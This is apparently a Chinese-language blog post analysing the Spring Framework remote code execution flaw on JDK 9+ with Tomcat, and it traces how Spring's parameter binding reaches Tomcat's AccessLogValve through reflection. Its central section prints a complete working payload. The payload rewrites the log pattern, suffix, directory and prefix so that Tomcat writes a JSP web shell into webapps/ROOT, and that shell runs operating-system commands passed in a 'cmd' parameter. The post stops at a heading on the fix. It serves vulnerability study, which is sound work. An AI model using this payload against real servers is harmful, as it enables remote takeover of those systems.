Spring框架最新的PoC
這兩天出來的一個RCE漏洞,但是有以下的條件限制才行:
-
必須是jdk9及以上 -
必須是部署在tomcat的應用 -
是springmvc的或者webflux的應用
具體的可以檢視spring官方:
https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement
我看到這個漏洞的時候,就去查了以下怎麼利用的,github一搜很多py指令碼。
但是我沒找到漏洞利用的原理,所以我就自己做了個demo,然後debugger了一下,原來是這樣~
漏洞利用的原理
我們都知道,我們在springmvc的時候經常會這麼寫程式碼來接收前端傳來的引數
@RequestMapping(value = "/register", method = RequestMethod.GET)
public String register(@RequestParam Map<String, String> requestparams, Model model) throws Exception {
String email = requestparams.get("email");
String username = requestparams.get("username");
model.addAttribute("data", "email:" + email + " username:" + username);
return "index";
}
如果我們這麼訪問:
http://localhost:8080/vulnerable_war/register?email=11&username=b
那麼返回的結果就是這樣:
那麼如果我們把接收的型別從Map轉成一個POJO的話,就像這樣:
@RequestMapping(value = "/register2", method = RequestMethod.GET)
public String register2(HelloWorld obj, Model model) throws Exception {
model.addAttribute("data", obj.toString());
return "index";
}
訪問一下:
這說明了,springmvc框架幫我們做了一個很重要的事情:
通過我們請求的資料,轉成了POJO物件。
恰巧就是這個非常好用的封裝導致了這個POC
解析POC第一步:到底構造了一個什麼資料會引發呢?
跑的環境是:
-
jdk11 -
tomcat8.5.58 -
spring-webmvc5.3.15
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
將上面的資料用下面post的方式呼叫下面的介面
@RequestMapping(value = "/rapid7")
public void vulnerable(HelloWorld model) {
}
注意header裡面的值是需要的,目的是為了迎合tomcat日誌的pattern(下面會講到)
-
%i 這個語法是從請求的header裡面拿xxx
就會在tomcat的Root目錄下生成一個jsp檔案
內容如下:
計息POC第二步:jsp檔案是怎麼生成的?
方法接收的class:HelloWorld,我這麼傳,spring框架是怎麼來處理的呢?
根據HelloWorld的例項
結合傳過來屬性路徑: class.module.classLoader.resources.context.parent.pipeline.first.pattern
然後一步步的運用反射來去拿屬性對應的值,這個例子的話就是
-
呼叫HelloWorld的getClass() 拿到Class物件 -
通過class物件呼叫getModule() -
通過Module呼叫getClassLoader() -
通過ClassLoader拿resources -
context是Tomcat的StandardContext -
parent拿到的是StandardEngine -
pipeline拿到的是StandardPipeline -
first拿到的是AccessLogValve
可以在下圖所示設定斷點:就可以看到上面說的每一步了
主角上場:
AccessLogValve是tomcat記錄日誌的,
-
pattern是日誌格式 -
suffix是日誌檔案的字尾 -
prefix是日誌檔案的字首 -
fileDateFormat是日期檔案的時間格式
謎底揭曉
根據以上分析,我們知道,傳過去的data由物件的class作為引子,然後springmvc會一步步反射拿屬性的方式最終是給AccessLogValve物件的幾個屬性的賦值操作
經過對tomcat的處理請求的日誌管道(AccessLogValve)的改寫,導致當前請求會被觸發記錄日誌,日誌會按照我們想要的方式生成了一個jsp檔案。
為啥是jdk9及以上版本呢,因為module的概念是從jdk9開始的~
為啥是得部署到tomcat裡的應用呢,因為只有這樣才會利用它的日誌功能~
spring是咋修復的